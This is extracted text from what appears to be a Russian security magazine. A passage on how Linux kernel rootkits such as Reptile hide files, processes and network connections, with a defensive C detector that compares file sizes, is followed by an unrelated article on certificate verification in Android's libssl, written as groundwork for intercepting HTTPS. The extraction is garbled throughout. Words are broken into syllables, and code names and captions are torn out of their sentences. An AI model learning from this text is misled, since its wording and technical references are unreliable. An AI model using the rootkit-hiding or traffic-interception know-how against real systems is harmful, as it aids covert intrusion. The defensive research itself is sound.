эти име на, мож но туда зай ти и опе риро вать фай лами в них.

vfs_read()
<reptile>

Мас киров ка про цес сов
Так рут киты пря чут май неры и про чую нечисть. Один из спо собов ана логи чен
скры тию  фай лов:  спи сок  про цес сов  дос тупен  через  интерфейс  ядра 

  для  каж дого  про цес са.  Эти  фай лы  исполь зуют ся,  нап ример,
прог рамма ми  ,  ,  и  если  рут кит  скро ет  соот ветс тву ющую  пап ку,  то  они
не отоб разят такой про цесс.

/proc/<PID>/
ps top

Бо лее слож ный вари ант,   Black Hat, под разуме‐ 
вает  модифи кацию  внут ренне го  спис ка  про цес сов  и  отвя зыва ние  от  него
дес крип тора   нуж ного про цес са. Но здесь воз ника ет проб лема:
этот спи сок исполь зует ся пла ниров щиком, и если в нем не будет опи сате ля
про цес са,  то  про цесс  повис нет,  пос коль ку  пла ниров щик  не  может  узнать
о  его  сущес тво вании.  Нуж но  еще  и  изме нять  логику  работы  пла ниров щика,
что, в прин ципе, воз можно, но неп лохо усложня ет задачу зло умыш ленни ку.

опи сан ный в пре зен тации

task_struct

Мас киров ка сетевых соеди нений и модифи кация тра фика
Что бы  скрыть  бэк дор,  рут киты  либо  при меня ют  тех нику  Port  knocking,  либо
под делыва ют  информа цию  об  откры тых  сокетах.  Поль зователь ские  прог‐ 
раммы,  в  чис ле  которых  ,  для  получе ния  информа ции  о  сетевых
соеди нени ях  исполь зуют  псев дофай лы    и  ,
слу жащие отоб ражени ем дан ных из памяти ядра. Перех ват   поз‐ 
воля ет  рут киту  филь тро вать  соеди нения,  дос тупные  гла зу  юзе ра  из  это го
фай ла.  Мож но  так же  перех ватить    и  ,
с  помощью  которых  реали зуют ся  эти  интерфей сы  ядра  в  .  Впро чем,
ути лита   работа ет нем ного ина че и в некото рых слу чаях может отоб разить
скры тые из   и   соеди нения.

netstat
/proc/net/tcp /proc/net/tcp6

vfs_read()

tcp4_seq_show() tcp6_seq_show()
/proc

ss
/proc/net/tcp tcp6

Встро енный в ядро Linux меж сетевой экран   обес печива ет филь‐ 
тра цию пакетов, тран сля цию адре сов и про чие пре обра зова ния пакетов. Эта
под систе ма пред став ляет собой набор хуков над сте ком сетевых про токо лов
Linux.  С  их  помощью  мож но  регис три ровать  в  ядре  фун кции  для  работы
с пакета ми на одной из пяти ста дий их обра бот ки:  ,   (
),  ,    и    ( ).  «Ядер ный»  рут кит  лег ко

может зарегис три ровать свою фун кцию для модифи кации сетево го тра фика
на любом из эта пов.

NetFilter

PREROUTING INPUT LOCAL 
IN FORWARD POSTROUTING OUTPUT LOCAL  OUT

СПОСОБЫ БОРЬБЫ С LKM-РУТКИТАМИ
Нес мотря на изощ ренные спо собы мас киров ки рут китов, уста новить, что сис‐ 
тема  зараже на,  зачас тую  не  так  слож но.  Рут киты  перех ватыва ют  фун кции,
а тут, как показа но ранее, вари антов нем ного.

В слу чаях с под меной адре сов луч ше все го иметь исходный вари ант таб‐ 
лицы, что бы впос ледс твии мож но было про верить ее целос тность, но нуж но
пом нить,  что  пос ле  обновле ния  ядра  адре са  могут  изме нить ся.  Для  сплай‐ 
син га мож но про верить, нет ли по адре су фун кции бай та со зна чени ем  ,
соот ветс тву юще го  , и выявить хук (что уже не столь прос то, если он уста‐ 
нов лен не в начале. В   рас смат рива ется и такой слу чай).

0xe9
jmp

этой статье
Об наружить скры тые соеди нения в прос тей шей ситу ации мож но внеш ним

ска нером  пор тов,  но  при  исполь зовании  Port  knocking  это  вряд  ли  даст
резуль тат,  раз ве  что  при дет ся  монито рить  тра фик,  про ходя щий  через
сетевой шлюз.

Еще  есть  инте рес ная  задача  —  поис кать  в  памяти  ядра  дес крип тор
модуля, отвя зан ного от спис ка заг ружен ных модулей. Най дя, мож но вер нуть
его в спи сок, что бы затем исполь зовать   (если, конеч но, рут кит не под‐ 
менил и его на вся кий слу чай). Сущес тву ет  , поз воля‐ 
ющее  обна ружить  в  памяти  объ екты,  похожие  на  дес крип торы  LKM,  но  оно
работа ет на уже очень ста рых и толь ко 32‐бит ных ядрах. Перебор же памяти
сов ремен ных  сис тем  зат руднен  из‐за  огромно го  адресно го  прос транс тва,
но отто го эта задача ста новит ся лишь инте рес ней.

rmmod
ре шение (см. раз дел 6)

Од нако  уста новить  наличие  рут кита  в  сис теме  —  лишь  пол дела.  Неп‐ 
лохо бы его отту да убрать, а еще и най ти сам исполня емый файл, что бы было
что  поизу чать  на  выход ных.  Самый  прос той  и  безот казный  спо соб —  взять
носитель  с  заражен ной  опе раци онкой  и  искать  там  подоз ритель ные фай лы
заг ружа емых модулей со сто рон ней машины, хотя это не поможет про тив 

  (кто  зна ком  с  такими  вре‐ 
доно сами,  тоже  пишите).  Но  это  сов сем  не  инте рес но,  прав да?  К  тому  же
навер няка  сущес тву ют  сис темы,  для  которых  пре бывать  в  нерабо чем  сос‐ 
тоянии,  пока  идет  поиск,  край не  нежела тель но.  Поэто му  поп робу ем  иссле‐ 
довать  заражен ную машину  изнутри.  Что же может  выдать  при сутс твие  рут‐ 
кита и при этом ука зать на файл вре донос ного модуля?

од‐ 
ного  свер хсек ретно го  метода  хра нения  фай лов

НАЧИНАЕМ СОБСТВЕННОЕ РАССЛЕДОВАНИЕ
Итак,  что  нам  извес тно?  Что  LKM‐рут кит  неп ремен но  дол жен  где‐то  про‐ 
писать строч ку, ведущую к его заг рузке при стар те ОС. Так же мы зна ем, что
он ста рает ся это скрыть.

Пред положим,  в  нашей  сис теме  уста нов лен Reptile. Откры ваем  в  любом
тек сто вом редак торе   и видим, что он буд то бы чист, но мы‐то
зна ем — там есть скры тое содер жимое. Что будет, если поп робовать, не вно‐ 
ся никаких изме нений в файл, сох ранить его? Сох ранит ся имен но то, что мы
видим,  —  то  есть  пос ле  перезаг рузки  ОС  вре донос ный  LKM  уже  акти вен
не  будет.  Прав да,  здо рово?  Автор  рут кита    тоже  пред лагал  такой
спо соб  пре дот вра щения  его  заг рузки.  Опи сан ный  эффект  наб люда ется
потому,  что  сох раня ется  ров но  то,  что  откры то  в  редак торе,  то  есть  часть
фай ла, сво бод ная от дан ных рут кита.

/etc/modules

EnyeLKM

Что ж, уже неп лохо. Но что делать, если неиз вес тно, в какой имен но файл
авто заг рузки  про писал ся  рут кит?  Не  переби рать  же  все  задей ство ван ные
фай лы  (хотя мож но,  но  это  слиш ком прос то).  К  тому же  такой  спо соб  унич‐ 
тожа ет в фай ле все зацеп ки, которые помог ли бы быс трее иден тифици ровать
вре донос.  Нуж но  най ти  модифи циро ван ный  файл  авто заг рузки,  помес тить
вмес то него сво бод ную от дан ных рут кита копию, но при этом как‐то оста вить
эти дан ные, что бы было про ще най ти вре донос ный LKM. Еще было бы полез‐ 
но  опре делить,  какой  имен но  файл  был  модифи циро ван  рут китом,  что бы
не пересох ранять и ана лизи ровать их все.

Та ким обра зом, наша задача пре дот вра щения заг рузки LKM‐рут кита сво‐ 
дит ся к двум воп росам:

как  най ти  файл  со  спря тан ным  содер жимым,  если  неиз вес тно,  каким
обра зом рут кит зак репил ся в сис теме;

•

как сох ранить этот файл так, что бы это содер жимое не ока залось уда лено.•

И как же все‐таки понять, что перед нами файл, который зна ет боль ше, чем
показы вает? Ока зыва ется,  все прос то:  лиш нее содер жимое — зна чит,  лиш‐ 
ние дан ные на дис ке. Да, я кло ню к тому, что, скры вая содер жимое, рут киты
пока  не  догада лись фаль сифици ровать  раз мер фай ла.  Как  я  покажу  далее,
не очень‐то прос то это про вер нуть.

Пап ка‐невидим ка и несо ответс твие меж ду раз мером /etc/modules
и количес твом счи тан ных из него бай тов

Со вто рым воп росом тоже нес ложно разоб рать ся. Пере име нуем най ден ный
на пре дыду щем шаге файл, что бы сис тема не читала из него при сле дующем
запус ке,  а  затем  сох раним  копию  (которая  уже  не  будет  содер жать  дан ные
рут кита) под ори гиналь ным име нем. Вуаля!

РАЗРАБАТЫВАЕМ АРСЕНАЛ
Те перь мы  готовы  авто мати зиро вать  поиск  и  вос ста нов ление модифи циро‐ 
ван ного  фай ла  авто заг рузки.  Необ ходим  лишь  спи сок  этих  фай лов,  что бы
прог рамма зна ла, где имен но искать под вох. Далее для каж дого такого фай‐ 
ла  прог рамма  срав нива ет  количес тво  бай тов,  про читан ных  с  помощью

  (за  которой  сто ит  сис темный  вызов  ,  а  за  ним,  в  свою  оче‐ 
редь, перех вачен ная фун кция ядра  ), с раз мером фай ла, получен‐ 
ным  из  струк туры,  опи сыва ющей  файл  в  фай ловой  сис теме  (i‐node).  Так
как  дан ная  струк тура  недос тупна  из  прос транс тва  юзе ра,  необ ходимо  вос‐ 
поль зовать ся сис темным вызовом  .

fread() read()
vfs_read()

fstat()
Бе зус ловно,  LKM‐рут киту  не  сос тавит  осо бого  тру да  перех ватить  и  его,

но мне хотелось показать, что нынеш ним «ядер ным» рут китам мож но успешно
про тивос тоять  из  прос транс тва  поль зовате ля,  поэто му  я  пред лагаю  прог‐ 
рамму поль зователь ско го уров ня. При необ ходимос ти ее мож но пор тировать
в  ядро.  Там  под делать  раз мер фай ла  рут кит  смо жет,  толь ко  под менив  зна‐ 
чение    (для  ядер стар ше 3.9.0 — 

),  но  это  как  минимум  чре вато  проб лемами  при  чте нии  фай ла  —
все‐таки  серь езная  низ коуров невая  струк тура.  В  любом  слу чае  извес тные
ныне  рут киты  не  вли яют  ни  на  эти  дан ные,  ни  на    (смею  пред‐ 
положить, что теперь нач нут).

f‐>inode‐>i_size f‐>f_mapping‐>host‐>
i_size

fstat()

Код раз работан ной мной прог раммы мож но най ти на  . Она пред‐ 
лага ет  минималь ный  набор  фун кций,  демонс три рующий,  что  справ ляет ся
со  сво ей  задачей;  при  желании  его  мож но  и  нуж но  рас ширить.  Прог рамма
содер жит  мас сив  строк  с  име нами  фай лов,  наибо лее  уяз вимых  к  модифи‐ 
кации  LKM‐рут китами  (спи сок  еще  далеко  не  пол ный),  и  про веря ет  каж дый
из них на наличие мас киру емо го содер жимого.

гит хабе

Ос новная  часть  этой  про вер ки  зак лючена  в  фун кции  .
При  подоз рении  на  рут кит  выводит ся  соот ветс тву ющее  сооб щение
с  информа цией о  том,  на  какое  количес тво бай тов  отли чает ся фак тичес кое
содер жимое от  про читан ного.    получа ет  раз мер про веря емо го
фай ла из его дес крип тора:

cmp_size()

get_fsize()

off_t get_fsize(FILE *f)
{
   int res;
   struct stat fst;
   errno = 0;
   res = fstat(fileno(f), &fst);
   if(res){
       perror("In get_fsize(): couldn't get fstat");
       return 0;
   }
   return fst.st_size;
}

short cmp_size(FILE *f)
{
   unsigned int i_size, read;
   char *fbuf;

   i_size = (unsigned int)get_fsize(f);
   if (errno){         
        printf("\x1b[1;31m***WARN***\x1b[0m Some problems with %s.\n
",
               start_files[i]);
        return 1;
   }

   fbuf = (char*)malloc((i_size+1) * sizeof(char));
   memset(fbuf, 0, i_size+1);

   read = fread(fbuf, 1, i_size, f);

   if (i_size != read){
       printf("\x1b[1;31m***WARN***\x1b[0m Something performs file 
tampering of %s : "
              "read %u bytes instead of %u.\n", start_files[i], read
, i_size);
       lets_talk(f, i_size, read);
       free(fbuf);
       return 1;
   }else{
       printf("\x1b[32m%s\x1b[0m looks fine to the userland\n", 
start_files[i]);
       free(fbuf);
       return 0;
   }   
}

Ес ли  най дено  несо ответс твие,  прог рамма  пред ложит  воз можные  дей ствия:
попыт ку про честь дей стви тель ное содер жимое фай ла (побай тово, что бы рут‐ 
кит  не  смог  най ти  свои  мар керы  в  счи тан ном  буфере.  Это  не  дает  никаких
гаран тий, но почему бы не поп робовать?) и заменить его безопас ной копи ей.
К ста рому фай лу с дан ными рут кита при этом добав ляет ся суф фикс  ..old

nitara‐l3 в дей ствии

Те перь оста лось перезаг рузить ся, ведь рут кит еще сидит в памяти и занима‐ 
ется  сво ими  гряз ными  делами.  Ну  а  даль ше  —  ищем  то,  что  скры валось
в  ныне  чис том  фай ле  авто заг рузки,  находим  вре донос ный  бинар ник,  про‐ 
веря ем его на VirusTotal или где‐нибудь еще и раду емся, какие мы молод цы.

На ходим вре донос ный LKM пос ле перезаг рузки

Спра вед ливос ти  ради  ска жу:  про тив  рут китов,  отсле жива ющих  обра щения
к  сво ему  фай лу  авто заг рузки  и  про веря ющих  его  содер жимое  при  записи,

, но это уже, как говорит ся,
сов сем дру гая исто рия. Мы тут рас смат ривали впол не опре делен ный час тный
слу чай, но кто зна ет, вдруг сама идея,  к  которой мы приш ли, будет полез на
и в даль нейшем?

опи сан ные выше методы могут не помочь

НАПОСЛЕДОК
Яс ное  дело,  что  про тивос тояние  анти виру сов  и  вре донос ных  прог рамм  —
это веч ная борь ба   доб ра со злом, и  чем даль ше,  тем более
изощ ренные так тики зло умыш ленни ки исполь зуют для сво их зло деяний.

боб ра с ослом

Как ты понима ешь, самым надеж ным спо собом выявить рут кит все рав но
будет ана лиз дис ка, хотя бы с помощью Live CD. И лишь пос ле, имея на руках
вре донос и изу чив все его механиз мы, мож но брать ся за раз работ ку защиты
непос редс твен но  для  взло ман ной  оси,  что  мы  и  поп робова ли  сде лать
на одном кон крет ном при мере. Про тив будущих и неиз вес тных сей час LKM‐
рут китов  наша  прог рамма,  веро ятно,  ока жет ся  бес полез на,  но  это  лиш ний
повод  вновь  почувс тво вать  себя  супер геро ем  и  совер шенс тво вать  методы
про тиво дей ствия.

Ес ли тебе, дорогой читатель, инте рес но изу чение вся ких нехоро ших прог‐ 
рамм под Linux, в осо бен ности рут китов, дер жи нес коль ко полез ных ссы лок,
которые здо рово помог ли мне в этой области.

WWW

Очень   рут китов уров‐ 
ня  ядра.  Опи саны  все воз можные  методи ки,
при меня емые ими для  «невиди мос ти»,  и  вари‐ 
анты  защиты  от  них.  Не  смот ри,  что  ему  уже
пят надцать лет, — как минимум мно гие базовые
механиз мы ядра Linux в целом оста лись такими
же.

• хо роший обширный обзор

 о работе и прог рамми рова‐ 
нии модулей ядра Linux.

•Се рия из 35 ста тей

Один доб рый человек соб рал 
 со ссыл ками на исходни ки.

• спи сок Linux‐рут‐ 
китов
Нель зя  не  упо мянуть  такую  фун дамен таль ную
работу  Танен баума,  как  «Сов ремен ные  опе‐ 
раци онные  сис темы»,  а  так же    и 

 ядра Linux, ведь для дей стви тель но
хороше го  понима ния  работы  вре донос ных
прог рамм  необ ходимо  знать,  как  устро ена
целевая сис тема.

•

ис ходни ки до‐ 
кумен тацию

В  доб рый  путь,  не  забывай  вес ти  себя  хорошо,  вов ремя  делать  резер вные
копии сис темы и чис тить зубы по утрам.
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Очень  час то  иссле дова ние  внут ренней
работы прик ладных прог рамм мож но свес‐ 
ти к иссле дова нию их тра фика, и чаще все‐ 
го переда ется он по про токо лам семей ства
HTTP.  Но  каж дое  при ложе ние  может
по‐сво ему  защищать ся  от  «прос лушки».
Сегод ня  мы  пос тара емся  выяс нить,  что
обще го есть у всех под ходов к защите и как
эту  общую  часть  мож но  исполь зовать
для  соз дания  уни вер саль ного  метода
перех вата HTTPS.

НЕМНОГО ОБ HTTP И О ТОМ, ПРИ ЧЕМ ЗДЕСЬ OPENSSL
Ни для кого не сек рет, что тра фик HTTP пре обла дает в интерне те. Популяр‐ 
ность  и  рас простра нен ность  про токо ла HTTP  при вела  к  его  пов семес тно му
исполь зованию  даже  там,  где  понача лу  он  мог  бы  показать ся  нелепым
и избы точ ным — нап ример, в мобиль ных и дес ктоп ных при ложе ниях.

За вре мя сво его сущес тво вания HTTP оброс кучей раз ных фич и наворо‐ 
тов,  устра няющих  недос татки  его  изна чаль ной  «вебовой»  вер сии:  Cookies
для  устра нения  Stateless,  Keep‐Alive  и  Long  polling  для  ими тации  неп рерыв‐ 
ности соеди нения, кон цепция REST, бинар ный HTTP/2 с пов семес тным сжа‐ 
тием  и  мно гое  дру гое.  Забегая  впе ред,  отме чу,  что  HTTP/2  вооб ще  раз‐ 
рабаты вал ся с уче том исполь зования вмес те с TLS 1.2+.

На опре делен ном эта пе раз вития про токо ла ста ло понят но, что HTTP ста‐ 
новит ся уни вер саль ным спо собом для обме на дан ными в кли ент‐сер верной
модели. Раз работ чики это нег ласно при няли и начали исполь зовать при соз‐ 
дании новых при ложе ний.

Па рал лель но с HTTP шло раз витие SSL, а их син тез — HTTPS — пос тепен‐ 
но зах ватывал долю тра фика в мировом интерне те, пока в один прек расный
момент    не  пре высил  полови ну.  Сей час  его  доля
стре мит ся  к  80%.  Мно гие  уви дели  смысл  в  шиф ровании  дан ных,  а  тех,  кто
не успел,   в том чис ле и раз работ чики бра узе ров. В ито‐ 
ге  все  сно ва  при няли  это  (что  хорошо!)  и  начали  пов семес тно  при менять
в сво их при ложе ниях, мно гие из которых и так уже работа ли по при выч ному
HTTP.

в  кон це  янва ря  2017  года

ста ли поторап ливать
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В  Mozilla    на  осно ве
телемет рии  Firefox,  где  вид но,  какой  про цент
веб‐стра ниц  заг ружа ют  по  HTTPS.  На  сай те
LetsEncrypt мож но пос мотреть  , осно ван‐ 
ные на этих дан ных.

пуб лику ют  ста тис тику
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Раз витие SSL, а впос ледс твии и TLS (SSL 3.0+) во мно гом опре деля лось раз‐ 
вити ем  опен сор сно го  про екта  OpenSSL.  Он  мед ленно,  но  вер но  впи тывал
в  себя  все  новые  и  новые  спе цифи кации  RFC.  Как  извес тно,  велоси педы
изоб ретать  ник то  не  любит,  поэто му  биб лиоте ка  OpenSSL  ста ла  де‐фак то
стан дартом при импле мен тации защищен ного тран спор та для HTTP, и теперь
ее сле ды мож но обна ружить в бес счет ном количес тве соф твер ных про ектов.

Как работа ет клас сичес кий HTTPS
Ис поль зование  HTTPS  помог ло  защитить ся  от  MITM‐атак  на  поль зовате ля,
одна ко не от его собс твен ных оши бок. Дос таточ но взгля нуть на клас сичес кую
схе му про токо ла SSL, и ста новит ся понят но,  что кон фиден циаль ность здесь
дер жится исклю читель но на сер тифика те сер вера.

TLS Handshake

По лучая  от  сер вера  сер тификат  на  треть ем шаге  рукопо жатия,  кли ент  при‐ 
нима ет решение, доверять сер веру или нет (тот ли он, за кого себя выда ет?).
Дела ет  это  кли ент  не  без  сто рон ней  помощи,  что  в  резуль тате  и  при водит
к сущес твен ному упро щению ана лиза тра фика.

Для про вер ки исполь зуют ся цен тры сер тифика ции,  которые быва ют  кор‐ 
невыми  и  про межу точ ными.  Пуб личных  кор невых  цен тров  мало,  и  обо  всех
них  зна ет  каж дый  кли ент  SSL/TLS.  А  про межу точ ных  цен тров  может  быть
очень мно го — единс твен ное их отли чие от кор невых в том, что выпус каемые
ими сер тифика ты под писыва ются при ват ным клю чом вышес тояще го CA. Нап‐ 
ример, если пос мотреть на путь сер тифика ции google.com на рисун ке ниже,
то  кор невым  будет  сер тификат,  выдан ный  GlobalSign,  а  про межу точ ным  —
Google Internet Authority.

Це поч ка сер тифика тов Google
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•Объ ясне ние хен дшей ка TLS 1.2 байт за бай том

По лучая от сер вера сер тификат, кли ент всег да может узнать, кто имен но его
под писал, и удос товерить ся в этом с помощью при ложен ных пуб личных клю‐ 
чей. И так вплоть до кор невого цен тра. Если на пути до кор невого сер тифика‐ 
та  так и  не  встре чает ся ни одно го доверен ного сер тифика та,  кли ент  завер‐ 
шает  про цеду ру  рукопо жатия,  не  переда вая  никаких  полез ных  дан ных  сер‐ 
веру (ведь он, веро ятно, не тот, за кого себя выда ет). Этот про цесс называ‐ 
ется про вер кой цепоч ки сер тифика тов.

Для  раз работ чиков  слож ности  по  сок рытию  тра фика  сво его  при ложе ния
начина ются в тот момент, ког да у кли ента появ ляет ся воз можность добав лять
собс твен ные доверен ные сер тифика ты. По умол чанию источни ком таких сер‐ 
тифика тов  явля ется  какая‐нибудь  пап ка  или  груп па  папок  (в  зависи мос ти
от опе раци онки) в локаль ной фай ловой сис теме, в которую раз работ чики ОС
еще  на  эта пе  сбор ки  помес тили  сер тифика ты  доверен ных  цен тров.  Давай
поп робу ем убе дить ся в этом на прак тике.

ИССЛЕДУЕМ ПРИНЦИПЫ РАБОТЫ OPENSSL НА ПОДОПЫТНОМ
ПРИЛОЖЕНИИ
Биб лиоте ка OpenSSL «в ваку уме» по умол чанию не доверя ет никому, а что бы
ини цииро вать  про цесс  появ ления  это го  доверия,  биб лиоте ке  необ ходимо
сооб щить о том, кому, собс твен но, мы намере ны доверять. Если рас смот реть
при мер клас сичес кого кли ента TLS, при веден ный в  , то мож но там
заметить  заг рузку  доверен ных  сер тифика тов  непос редс твен но  перед  осу‐ 
щест вле нием зап роса HTTP:

wiki.openssl

...
ctx = SSL_CTX_new(method);
if(!(ctx != NULL)) handleFailure();

SSL_CTX_set_verify(ctx, SSL_VERIFY_PEER, verify_callback);
SSL_CTX_set_verify_depth(ctx, 4);

const long flags = SSL_OP_NO_SSLv2 | SSL_OP_NO_SSLv3 | SSL_OP
_NO_COMPRESSION;
SSL_CTX_set_options(ctx, flags);

// загрузка доверенных сертификатов
res = SSL_CTX_load_verify_locations(ctx, "random‐org‐chain.pem", NULL
);
if(!(1 == res)) handleFailure();
...

Кро ме фун кции   сущес тву ет еще 
  спо собов  заг рузки  про верен ных  сер тифика тов  внутрь  OpenSSL.

Навер няка  раз работ чики,  которые  писали  свои  кли енты  TLS,  не  стес нялись
под смат ривать подоб ные обще дос тупные при меры.

SSL_CTX_load_verify_locations нес коль ко
похожих

Поп робу ем отсле дить поведе ние пред став ленно го клас сичес кого кли ента
TLS на каком‐нибудь реаль ном при ложе нии. Для начала возь мем что‐нибудь
прос тое, что мог ло бы быть свя зано с TLS, — нап ример, биб лиоте ку  .
Она обес печива ет ком муника ции по HTTP/S в бес числен ном количес тве сов‐ 
ремен ных при ложе ний для Android.

OkHttp

За ранее замечу, что OkHttp написа на на Java и работа ет на JVM, поэто му
сама  по  себе  она  не  инте рес на,  так  как  явля ется  сво еоб разной  обер ткой
более  инте рес ной  сос тавля ющей  —  низ коуров невой  импле мен тации
OpenSSL для Android. Вот ей‐то мы и зай мем ся.

Го товим тес товое при ложе ние
Для начала иссле дова ния нуж но обза вес тись при ложе нием, которое исполь‐ 
зует  логику  OkHttp  для  безопас ных  зап росов.  Про ще  все го  его  соз дать
с нуля, взяв за осно ву эта лон ные при меры кода из интерне та. Так же, как это
дела ют сот ни и тысячи дру гих раз работ чиков. :)

В  интерфейс  тес тового  при ложе ния  вклю чим  две  кноп ки,  по  нажатию
на которые будет про исхо дить сле дующее:

// Кнопка "Do just HTTPS!"
val okHttpClient = OkHttpClient.Builder().build()
val request = Request.Builder().url("https://google.com").get().build
();
okHttpClient.newCall(request).execute()
...
// Кнопка "Do Https with pin!"
val certificatePinner = CertificatePinner.Builder()
 .add("google.com","sha256/f8NnEFZxQ4ExFOhSN7EiFWtiudZQVD2oY60uauV/

n78=")
 .build()

val okHttpClient = OkHttpClient.Builder()
 .certificatePinner(certificatePinner)
 .build()

val request = Request.Builder().url("https://google.com").get().build
();
okHttpClient.newCall(request).execute()

UI подопыт ного при ложе ния для Android

Со вер шенно стан дар тный код, кочу ющий по Ctrl‐C и Ctrl‐V из одно го про екта
в  дру гой,  под верга ясь  при  этом  несущес твен ным  изме нени ям. Итак,  запус‐ 
каем  ново испе чен ное  при ложе ние  и  сра зу  же  заг лядыва ем  в  раз метку  его
памяти.

Ищем сле ды OpenSSL в при ложе ниях для Android

В поис ках исти ны
Ста новит ся  оче вид но,  что  в  Android  есть  биб лиоте ка,  которая  ведет
к  OpenSSL.  Но  заг рузилась  она  не  из‐за  исполь зования  HTTPS,  а  задол го
до  появ ления  на  экра не  основно го  при ложе ния  —  на  эта пе  «конс тру иро‐ 
вания»  про цес са  при ложе ния  (   из  )  и  про вер ки  его  под‐ 
линнос ти.  Это  свя зано  с  осо бен ностя ми  рас простра нения  при ложе ний
для Android, в которые мы пог ружать ся не будем.

fork app_process

Что бы  убе дить ся,  что  най ден ная  биб лиоте ка  свя зана  с OpenSSL,  мож но
пос мотреть ее таб лицу сим волов и затем срав нить с при мити вами эта лон ной
openssl.  Получить  ее  мож но,  нап ример,  ком пиляци ей  исходни ков  из  офи‐ 
циаль ного репози тория OpenSSL. Самое вре мя  убе дить ся, не исполь зует ся
ли рутина  , ког да поль зователь нажима ет кноп ки в нашем при ложе‐ 
нии.

libssl.so

INFO

Биб лиоте ка  libssl  на  Android  —  это  не  OpenSSL
в  чис том  виде.  Эта  ОС  сде лана  в  Google,  а  у
Google  поч ти  на  все  есть  свой  форк.
Для  OpenSSL  —  это  BoringSSL,  о  котором  уже
писали в том чис ле  .в «Хакере»

На конец мы подош ли к реали зации потен циала нашего при ложе ния — обна‐ 
руже нию в исполь зуемом им кли енте (OkHttp) на более низ ком уров не сле дов
«клас сичес кого кли ента TLS».

Ес ли мы изу чим фун кции, которые экспор тиру ет libssl, то уви дим сре ди них
все те, что задей ство ваны в клас сичес ком кли енте в при мере выше. Поэто му
про ще все го искать сле ды, если сфор мировать стек вызовов всех извес тных
(то есть экспор тиру емых) нам фун кций, ког да поль зователь нажима ет на пер‐ 
вую  кноп ку  тес тового  при ложе ния.  Вот  получив ший ся  фраг мент  сте ка
вызовов до момен та про веде ния рукопо жатия при кли ке на кноп ку:

TLS_server_method
SSLv23_client_method
SSLv23_method
TLS_method
TLS_client_method
SSLv23_server_method
(*) SSL_CTX_new
(*) SSL_CTX_set_options
SSL_CTX_set_mode
SSL_CTX_set_cert_verify_callback
SSL_CTX_set_info_callback
SSL_CTX_set_cert_cb
SSL_CTX_set_signing_algorithm_prefs
SSL_CTX_set_session_id_context
SSL_new
SSL_set_ex_data
(*) SSL_set_verify
SSL_set_renegotiate_mode
SSL_set_connect_state
SSL_enable_ocsp_stapling
SSL_get_ex_data
SSL_set_alpn_protos
SSL_set_options
SSL_clear_options
SSL_set_cipher_list
SSL_clear_options
SSL_set_tlsext_host_name
SSL_set_mode
SSL_set_fd
SSL_get_ex_data
SSL_do_handshake // рукопожатие
...

Пол ный стек вызовов получил ся вну шитель ным. Зато он пол ностью пок рыва ет
оди ноч ный  зап рос  HTTPS  из  OkHttp.  Сей час  с  вклю чен ным  прок си‐сниф‐ 
фером при ложе ние вылета ет с ошиб кой:

javax.net.ssl.SSLHandshakeException: java.security.cert.CertPa
thValidatorException: Trust anchor for certification path not found.

Что не уди витель но. На получен ном фраг менте сте ка мы видим, что какие‐то
шаги  клас сичес кого  кли ента  были  прой дены,  а  какие‐то  —  нет.  Но  самое
глав ное, что до хен дшей ка не было заг рузки доверен ных сер тифика тов! А как
извес тно, без это го успешно го исхо да хен дшей ка не добить ся.

От куда  же  импле мен тация  OpenSSL  в  Android  (libssl)  берет  свои  сер‐ 
тифика ты?  Ответ  на  этот  воп рос  кро ется  в  фун кци ях  обратно го  вызова.
OpenSSL  поз воля ет  кли енту  (поль зовате лю фун кци она лом)  пере опре делить
поведе ние  поч ти  на  каж дом  эта пе  безопас ного  соеди нения.  Для  это го
OpenSSL пред лага ет ряд фун кций, которые мож но исполь зовать для уста нов‐ 
ки сво их кол бэков на раз ных эта пах.

Од на из  таких фун кций —  ,  которая
зас ветилась в сте ке вызовов. Если верить  , то сде лать этот кол‐ 
бэк смо жет очень мно гое. По сути, он целиком делеги рует при ложе нию про‐ 
цеду ру про вер ки под линнос ти сер тифика та сер вера. Если отсле дить кол бэк,
то  это,  воз можно,  даст  отве ты  на  воп росы  об  источни ке  доверен ных  сер‐ 
тифика тов в Android.

SSL_CTX_set_cert_verify_callback
до кумен тации

Нас тал  момент  вос поль зовать ся  пре иму щес твом  откры тых  исходни ков
OpenSSL  и  пос мотреть  на  фун кцию 
изнутри. Поиск по  коду OpenSSL на GitHub быс тро выведет нас  к фай лу 

:

SSL_CTX_set_cert_verify_callback
ss‐

l_lib.c

...
void SSL_CTX_set_cert_verify_callback(SSL_CTX *ctx, int (*cb) (X509_S
TORE_CTX *, void *),void *arg)
{
 ctx‐>app_verify_callback = cb;
 ctx‐>app_verify_arg = arg;

}
...

Фун кция не дела ет ничего инте рес ного — все го лишь ини циали зиру ет поля
струк туры  :  уста нав лива ется  адрес  на  фун кцию  обратно го  вызова
и адрес на аргу мент, который этой фун кции будет передан.

SSL_CTX

По  логике,  если  поля  где‐то  ини циали зиру ются,  то  где‐то  они  дол жны
и  исполь зовать ся.  Поп робу ем  поис кать,  где  исполь зует ся  кол бэк‐фун кция,
которая  в  дру гих  час тях  про екта  пред став лена  в  коде  полем 

. Поиск выведет нас к единс твен ному мес ту —  :
app_verify_‐

callback ssl_cert.c

...
if (s‐>ctx‐>app_verify_callback != NULL)
 i = s‐>ctx‐>app_verify_callback(ctx, s‐>ctx‐>app_verify_arg);

else
 i = X509_verify_cert(ctx);

...

Ищем мес та исполь зования делега та по про вер ке сер тифика та
в OpenSSL

Мес то  исполь зования делега та  в OpenSSL — это  часть фун кции 
.    мож но  обна ружить  в  BoringSSL

(который  и  вхо дит  в  Android  в  виде  libssl)  в  коде  фун кции 
.

ssl_veri‐
fy_cert_chain Точ но  такое  же  мес то

ssl_cryp‐
to_x509_session_verify_cert_chain

Что  же  в  этом  коде  инте рес ного?  Здесь  (и  толь ко  здесь)  переда ется
управле ние  поль зователь ской  кол бэк‐фун кции.  Но  самое  глав ное:  ста ло
ясно, что при отсутс твии таковой (нап ример, если не было явно го вызова 

)  управле ние  переда ется  стан дар тной
фун кции верифи кации из OpenSSL, она называ ется  .

SS‐
L_CTX_set_cert_verify_callback

X509_verify_cert
Да вай теперь пос мотрим, какой имен но код получит управле ние в том слу‐ 

чае, если в резуль тате работы кли ента OkHttp будет уста нов лен кол бэк. Нам
в этом поможет любой отладчик — нап ример тот, что встро ен в IDA Pro.

Callback в Android, получа ющий управле ние при про вер ке сер тифика та
сер вера

Кол бэк находит ся в биб лиоте ке  . Это, как потом выяс нилось,
воп лощение Java Security Provider (JCP) для Android под наз вани ем Conscrypt
c импле мен таци ей Java Cryptography Extension (JCE). При ятная новость, ведь
бук вы OSP в AOSP обоз нача ют Open Source Project!
